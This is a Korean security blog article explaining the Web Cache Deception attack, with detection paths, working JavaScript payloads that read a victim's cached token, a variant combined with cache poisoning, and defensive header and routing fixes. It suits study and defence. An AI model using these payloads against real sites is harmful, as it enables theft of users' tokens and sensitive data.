Web Cache Deception
Offensive Security Engineer, Developer and H4cker.
Introduction
Web Cache Deception은 중요 정보를 리턴하는 API에서 해당 정보를 캐시하도록 설정되어 있거나, 처리 방식 미흡함을 이용하여 공격자가 임의로 사용자의 중요 정보를 캐시하고 SOP를 무시하여 정보를 탈취할 수 있는 공격 방법입니다.
만약 아래와 같이 중요한 정보가 Response로 제공되지만 SOP로 인해 보호되고 있는 상태인 경우 공격자가 해당 Response를 핸들링하여 해당 정보를 가져갈 수 없습니다. 물론 CORS 설정이 잘못된 경우 정보를 핸들링하여 가져갈 수 있고, 이는 보통 JSON Hijacking으로 표현합니다. 때때로 어떤 API들은 Response에 중요정보를 담고 있지만, Cache 관련 헤더를 통해 브라우저가 이를 캐시하도록 유도하는 경우가 있습니다.
GET /token HTTP/1.1
HTTP/1.1 200
Cache-Control: private, max-age=3600
{
"token":"abcdfasdfas"
}
이러한 경우 이미 해당 URL의 데이터가 브라우저에 캐시되어 있기 때문에 XMLHttpRequest, $ajax 등으로 호출 시 withCredential을 false로 설정(이는 CORS: * 일 때 SOP를 무시하고 데이터를 가져올 수 있도록 처리하는 방법입니다. [참고/관련내용])하여 쿠키가 붙지 않은 요청이 전송되더라도 캐시된 결과를 리턴하기 떄문에 결과적으로 공격자가 중요정보를 읽을 수 있게 됩니다.
그리고 어떤 API들은 정확한 경로로만 호출할 수 있는게 아닌 wildcard를 사용하여 하위 경로나 다른 확장자로 호출해도 데이터를 리턴하는 경우가 있습니다.
REQ/RES 1
GET /token HTTP/1.1
HTTP/1.1 200
{
"token":"abcdfasdfas"
}
REQ/RES 2
GET /token/abcd HTTP/1.1
HTTP/1.1 200
{
"token":"abcdfasdfas"
}
이렇게 하위 경로나 확장자 등을 영향받지 않고 데이터를 리턴한다면 강제로 캐시를 유도하는 헤더가 없다고 해도 아래와 같이 css/js/jpg 등 브라우저가 캐시하려고 하는 확장자를 이용해서 response 정보를 캐시할 수 있습니다.
GET /token/abcd.jpg HTTP/1.1
HTTP/1.1 200
{
"token":"abcdfasdfas"
}
이미 URL은 중요정보가 포함된 상태로 캐시됬기 떄문에 공격자가 다시 해당 파일을 인증 없는 상태로 재 요청하여 캐시된 결과를 받아올 수 있습니다. 결과적으로 SOP를 우회할 수 있는 방법이 됩니다.
<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
var http = new XMLHttpRequest();
http.onload = function(){
console.log(http.responseText);
};
http.open("GET", "https://target/token/abcd.jpg", true);
http.withCredentials = false;
http.send();
}
</script>
Offensive techniques
Detect
Cache Deception을 식별하려면 당연히 중요정보가 있는 API에서 캐시가 가능한지 테스트가 필요합니다. 기본적으로는 Response 헤더 내 Cache-Control을 통해 강제로 캐시를 유도하는지 체크하고, 별다른 캐시 설정이 없는 경우 이미지, JS 등 리소스 관련 확장자를 이용해 브라우저가 중요정보 페이지를 캐시할 수 있는지 테스트가 필요합니다.
Resource를 이용한 캐시 유도 예시
/token/payload.aif
/token/payload.aiff
/token/payload.au
/token/payload.avi
/token/payload.bin
/token/payload.bmp
/token/payload.cab
/token/payload.carb
/token/payload.cct
/token/payload.cdf
/token/payload.class
/token/payload.css
/token/payload.doc
/token/payload.dcr
/token/payload.dtd
/token/payload.gcf
/token/payload.gff
/token/payload.gif
/token/payload.grv
/token/payload.hdml
/token/payload.hqx
/token/payload.ico
/token/payload.ini
/token/payload.jpeg
/token/payload.jpg
/token/payload.js
/token/payload.mov
/token/payload.mp3
/token/payload.nc
/token/payload.pct
/token/payload.ppc
/token/payload.pws
/token/payload.swa
/token/payload.swf
/token/payload.txt
/token/payload.vbs
/token/payload.w32
/token/payload.wav
/token/payload.wbmp
/token/payload.wml
/token/payload.wmlc
/token/payload.wmls
/token/payload.wmlsc
/token/payload.xsd
/token/payload.zip
Exploitation
중요정보를 캐시할 수 있다면 이제 해당 정보를 img 태그 등으로 캐시한 후 데이터를 읽으면 됩니다. 이미 캐시된 데이터를 읽기 때문에 CORS: * 등 Response 핸들링에 제한이 있더라도 withCredentials를 false로 주어 이를 무시할 수 있습니다.
<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
var http = new XMLHttpRequest();
http.onload = function(){
console.log(http.responseText);
};
http.open("GET", "https://target/token/abcd.jpg", true);
http.withCredentials = false;
http.send();
}
</script>
Bypass protection
With Cache Poisoning
만약 서비스에 Web Cache Poisoning 취약점이 존재한다면, 이를 통해 Cache Deception을 유도할 수 있습니다. 만약 X-Unkeyd-Input 라는 헤더가 Poisoning의 unkeyd input으로 쓰일 수 있다면, 아래와 같이 해당 헤더를 포함한 요청을 발생시켜 캐시되도록 유도할 수 있습니다. 이 때 일반 페이지로 캐시하면 전역 캐시가 되기 때문에 특정 식별 정보(아래 예시에선 userid)를 파라미터로 붙여주어 Cache busting 처리를 하면 개개인 세션마다 중요정보를 캐시할 수 있습니다.
Req
GET /token/?userid=1234
X-Unkeyd-Input: 1234
Script
function sleep(ms) {
const wakeUpTime = Date.now() + ms;
while (Date.now() < wakeUpTime) {}
}
// Unkeyed Input을 통해 캐시합니다.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.withCredentials = true;
http.setRequestHeader("X-Unkeyed-Input","1234")
http.send();
// 위 요청이 캐시되기까지 약간 기다립니다.
sleep(3000);
// 캐시된 결과를 읽어옵니다.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.onload = function(){
console.log(http.responseText);
};
http.withCredentials = false;
http.send();
Defensive techniques
대응방안은 간단합니다. 중요정보를 다루는 API에 대해선 캐시될 여지를 남겨놓지 않는게 좋습니다. 일반적으로 cache-control 헤더를 통해 no-store 등 캐시하지 않도록 설정하면 됩니다.
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
또한 중요정보 API들은 handler 등에서 정확한 URL로만 사용할 수 있도록 wildcard 처리는 제거합니다.
e.g golang-echo - before
e.GET("/token/*", func(c echo.Context) error {
// Logic ...
return c.JSON(http.StatusOK, r)
})
e.g golang-echo - after
e.GET("/token/", func(c echo.Context) error {
// Logic ...
return c.JSON(http.StatusOK, r)
})
Tools
- web cache deception scanner in burpsuite
- https://github.com/PortSwigger/param-miner in burpsuite
- fuzzer in ZAP